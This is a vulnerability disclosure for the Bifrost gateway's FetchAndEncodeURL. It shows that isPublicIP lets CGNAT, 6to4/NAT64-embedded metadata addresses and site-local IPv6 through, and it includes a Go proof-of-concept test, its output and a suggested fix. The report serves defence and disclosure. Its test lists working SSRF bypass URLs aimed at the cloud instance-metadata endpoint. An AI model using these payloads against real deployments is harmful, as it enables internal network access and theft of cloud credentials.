Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL

Attack surface / who can trigger it

FetchAndEncodeURL is invoked from the multimodal request-handling path of two providers:

• core/providers/bedrock/utils.go:1073 (document block.File.FileURL), :1187 (image URL via convertImageToBedrockSource)
• core/providers/vertex/vertex.go:402 (document block.File.FileURL)

These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). SanitizeImageURL (core/schemas/utils.go:180) only checks the scheme and a non-empty host — it performs no address filtering — so isPublicIP is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.

Impact

Server-side request forgery from the gateway into internal address space that the deny-list intends to block:

• CGNAT 100.64.0.0/10 — reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.
• 6to4 2002:a9fe:a9fe:: and NAT64 64:ff9b::a9fe:a9fe — both embed 169.254.169.254, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct 169.254.169.254 and ::ffff:169.254.169.254 forms are correctly blocked.
• fec0::/10 — deprecated site-local, still routed on some networks.

CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.

Proof of concept

A test placed in-package (core/providers/utils/) drives the real FetchAndEncodeURL — real http.Client, real Transport.DialContext, real isPublicIP — and classifies each target by whether isPublicIP let it past the gate. A blocked fetch to non-public address error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).

package utils

import (
	"context"
	"fmt"
	"strings"
	"testing"
	"time"
)

func TestSSRFGateDecision(t *testing.T) {
	cases := []struct{ name, url string }{
		{"CGNAT-100.64", "http://100.64.1.1:9/"},
		{"CGNAT-100.127", "http://100.127.255.254:9/"},
		{"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"},
		{"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"},
		{"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"},
		{"sitelocal-fec0", "http://[fec0::1]:9/"},
		// controls (must be rejected at the gate):
		{"CONTROL-direct-IMDS", "http://169.254.169.254:9/"},
		{"CONTROL-RFC1918", "http://10.0.0.1:9/"},
		{"CONTROL-loopback", "http://127.0.0.1:9/"},
		{"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"},
	}
	for _, c := range cases {
		ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
		_, _, err := FetchAndEncodeURL(ctx, c.url)
		cancel()
		gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address")
		fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err)
	}
}

Verbatim output (go test ./providers/utils/ -run TestSSRFGateDecision -v against HEAD f415c14, Go 1.26.1):

=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===
target                 gateBlock  verbatim error / outcome
----------------------------------------------------------------------------------------------------
CGNAT-100.64           false      failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded
CGNAT-100.127          false      failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded
6to4-IMDS              false      failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF
NAT64-IMDS             false      failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded
NAT64-local-IMDS       false      failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded
sitelocal-fec0         false      failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF
CONTROL-direct-IMDS    true       failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254
CONTROL-RFC1918        true       failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1
CONTROL-loopback       true       failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1
CONTROL-mapped-IMDS    true       failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254

Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected at the gate with blocked fetch to non-public address and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes isPublicIP and proceeds to the network dial — observed as context deadline exceeded or EOF (a real connection attempt), never blocked fetch to non-public address. The blocked vs dial-attempted split isolates the isPublicIP classification defect precisely.

A standalone re-check of the verbatim isPublicIP body confirms the classification directly (Go 1.26.1):

100.64.0.1             isPublicIP=true   (CGNAT — should be blocked)
100.127.255.254        isPublicIP=true   (CGNAT)
2002:a9fe:a9fe::       isPublicIP=true   (6to4 -> 169.254.169.254)
64:ff9b::a9fe:a9fe     isPublicIP=true   (NAT64 -> 169.254.169.254)
64:ff9b:1::a9fe:a9fe   isPublicIP=true   (NAT64 local-use -> 169.254.169.254)
fec0::1                isPublicIP=true   (deprecated site-local)
169.254.169.254        isPublicIP=false  (direct IMDS — correctly blocked, control)
::ffff:169.254.169.254 isPublicIP=false  (IPv4-mapped — correctly blocked, control)
8.8.8.8                isPublicIP=true   (public — correctly allowed, control)

Honest scope note

The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use 100.64.0.0/10. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: isPublicIP permits the forbidden ranges on every host.

References (canonical dimension precedents)

• CVE-2026-45741 / GHSA-86m8-88fq-xfxp — Gotenberg IsPublicIP IPv6 6to4 / NAT64 / site-local bypass; same Go netip + Unmap gap.
• GHSA-5jh9-2h63-pw4q — CC-Tweaked NAT64 (64:ff9b::/96) bypass; their fix adds isCarrierGradeNatAddress (CGNAT) + NAT64 handling.

Suggested fix

In isPublicIP, after Unmap():

1. Reject CGNAT: 100.64.0.0/10 for IPv4 (and the ::ffff:100.64.0.0/106 mapped form is already handled by Unmap).
2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (2002::/16 -> bytes 2-5), NAT64 well-known (64:ff9b::/96) and local-use (64:ff9b:1::/48) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.
3. Reject deprecated site-local fec0::/10.